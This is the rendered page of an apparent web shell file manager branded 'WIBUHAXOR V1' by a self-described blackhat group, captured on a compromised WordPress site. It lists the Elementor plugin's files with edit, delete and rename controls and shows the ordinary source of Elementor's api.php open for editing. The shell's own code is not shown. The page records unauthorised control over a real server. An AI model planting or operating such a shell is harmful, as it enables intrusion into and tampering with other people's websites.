-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
elementor
/
includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
admin-templates
--
NONE
base
--
NONE
controls
--
NONE
editor-templates
--
NONE
elements
--
NONE
interfaces
--
NONE
libraries
--
NONE
managers
--
NONE
settings
--
NONE
template-library
--
NONE
widgets
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
api.php
6.468KB
Edit File
Delete File
Rename
autoloader.php
8.983KB
Edit File
Delete File
Rename
beta-testers.php
2.987KB
Edit File
Delete File
Rename
compatibility.php
11.649KB
Edit File
Delete File
Rename
conditions.php
2.703KB
Edit File
Delete File
Rename
db.php
14.689KB
Edit File
Delete File
Rename
embed.php
7.881KB
Edit File
Delete File
Rename
fonts.php
38.272KB
Edit File
Delete File
Rename
frontend.php
36.3KB
Edit File
Delete File
Rename
heartbeat.php
2.573KB
Edit File
Delete File
Rename
maintenance-mode.php
11.133KB
Edit File
Delete File
Rename
maintenance.php
2.096KB
Edit File
Delete File
Rename
plugin.php
16.523KB
Edit File
Delete File
Rename
preview.php
7.604KB
Edit File
Delete File
Rename
rollback.php
3.635KB
Edit File
Delete File
Rename
shapes.php
6.24KB
Edit File
Delete File
Rename
stylesheet.php
8.908KB
Edit File
Delete File
Rename
tracker.php
14.283KB
Edit File
Delete File
Rename
user.php
6.526KB
Edit File
Delete File
Rename
utils.php
18.68KB
Edit File
Delete File
Rename
<?php namespace Elementor; use Elementor\Core\Common\Modules\Connect\Apps\Library; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Elementor API. * * Elementor API handler class is responsible for communicating with Elementor * remote servers retrieving templates data and to send uninstall feedback. * * @since 1.0.0 */ class Api { /** * Elementor library option key. */ const LIBRARY_OPTION_KEY = 'elementor_remote_info_library'; /** * Elementor feed option key. */ const FEED_OPTION_KEY = 'elementor_remote_info_feed_data'; const TRANSIENT_KEY_PREFIX = 'elementor_remote_info_api_data_'; /** * API info URL. * * Holds the URL of the info API. * * @access public * @static * * @var string API info URL. */ public static $api_info_url = 'https://my.elementor.com/api/v1/info/'; /** * API feedback URL. * * Holds the URL of the feedback API. * * @access private * @static * * @var string API feedback URL. */ private static $api_feedback_url = 'https://my.elementor.com/api/v1/feedback/'; /** * Get info data. * * This function notifies the user of upgrade notices, new templates and contributors. * * @since 2.0.0 * @access private * @static * * @param bool $force_update Optional. Whether to force the data retrieval or * not. Default is false. * * @return array|false Info data, or false. */ private static function get_info_data( $force_update = false ) { $cache_key = self::TRANSIENT_KEY_PREFIX . ELEMENTOR_VERSION; $info_data = get_transient( $cache_key ); if ( $force_update || false === $info_data ) { $timeout = ( $force_update ) ? 25 : 8; $response = wp_remote_get( self::$api_info_url, [ 'timeout' => $timeout, 'body' => [ // Which API version is used. 'api_version' => ELEMENTOR_VERSION, // Which language to return. 'site_lang' => get_bloginfo( 'language' ), ], ] ); if ( is_wp_error( $response ) || 200 !== (int) wp_remote_retrieve_response_code( $response ) ) { set_transient( $cache_key, [], 2 * HOUR_IN_SECONDS ); return false; } $info_data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( empty( $info_data ) || ! is_array( $info_data ) ) { set_transient( $cache_key, [], 2 * HOUR_IN_SECONDS ); return false; } if ( isset( $info_data['library'] ) ) { update_option( self::LIBRARY_OPTION_KEY, $info_data['library'], 'no' ); unset( $info_data['library'] ); } if ( isset( $info_data['feed'] ) ) { update_option( self::FEED_OPTION_KEY, $info_data['feed'], 'no' ); unset( $info_data['feed'] ); } set_transient( $cache_key, $info_data, 12 * HOUR_IN_SECONDS ); } return $info_data; } /** * Get upgrade notice. * * Retrieve the upgrade notice if one exists, or false otherwise. * * @since 1.0.0 * @access public * @static * * @return array|false Upgrade notice, or false none exist. */ public static function get_upgrade_notice() { $data = self::get_info_data(); if ( empty( $data['upgrade_notice'] ) ) { return false; } return $data['upgrade_notice']; } public static function get_admin_notice() { $data = self::get_info_data(); if ( empty( $data['admin_notice'] ) ) { return false; } return $data['admin_notice']; } public static function get_canary_deployment_info( $force = false ) { $data = self::get_info_data( $force ); if ( empty( $data['canary_deployment'] ) ) { return false; } return $data['canary_deployment']; } public static function get_promotion_widgets() { $data = self::get_info_data(); if ( ! isset( $data['pro_widgets'] ) ) { $data['pro_widgets'] = []; } return $data['pro_widgets']; } /** * Get templates data. * * Retrieve the templates data from a remote server. * * @since 2.0.0 * @access public * @static * * @param bool $force_update Optional. Whether to force the data update or * not. Default is false. * * @return array The templates data. */ public static function get_library_data( $force_update = false ) { self::get_info_data( $force_update ); $library_data = get_option( self::LIBRARY_OPTION_KEY ); if ( empty( $library_data ) ) { return []; } return $library_data; } /** * Get feed data. * * Retrieve the feed info data from remote elementor server. * * @since 1.9.0 * @access public * @static * * @param bool $force_update Optional. Whether to force the data update or * not. Default is false. * * @return array Feed data. */ public static function get_feed_data( $force_update = false ) { self::get_info_data( $force_update ); $feed = get_option( self::FEED_OPTION_KEY ); if ( empty( $feed ) ) { return []; } return $feed; } /** * Get template content. * * Retrieve the templates content received from a remote server. * * @since 1.0.0 * @access public * @static * * @param int $template_id The template ID. * * @return object|\WP_Error The template content. */ public static function get_template_content( $template_id ) { /** @var Library $library */ $library = Plugin::$instance->common->get_component( 'connect' )->get_app( 'library' ); return $library->get_template_content( $template_id ); } /** * Send Feedback. * * Fires a request to Elementor server with the feedback data. * * @since 1.0.0 * @access public * @static * * @param string $feedback_key Feedback key. * @param string $feedback_text Feedback text. * * @return array The response of the request. */ public static function send_feedback( $feedback_key, $feedback_text ) { return wp_remote_post( self::$api_feedback_url, [ 'timeout' => 30, 'body' => [ 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), 'feedback_key' => $feedback_key, 'feedback' => $feedback_text, ], ] ); } /** * Ajax reset API data. * * Reset Elementor library API data using an ajax call. * * @since 1.0.0 * @access public * @static */ public static function ajax_reset_api_data() { check_ajax_referer( 'elementor_reset_library', '_nonce' ); self::get_info_data( true ); wp_send_json_success(); } /** * Init. * * Initialize Elementor API. * * @since 1.0.0 * @access public * @static */ public static function init() { add_action( 'wp_ajax_elementor_reset_library', [ __CLASS__, 'ajax_reset_api_data' ] ); } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat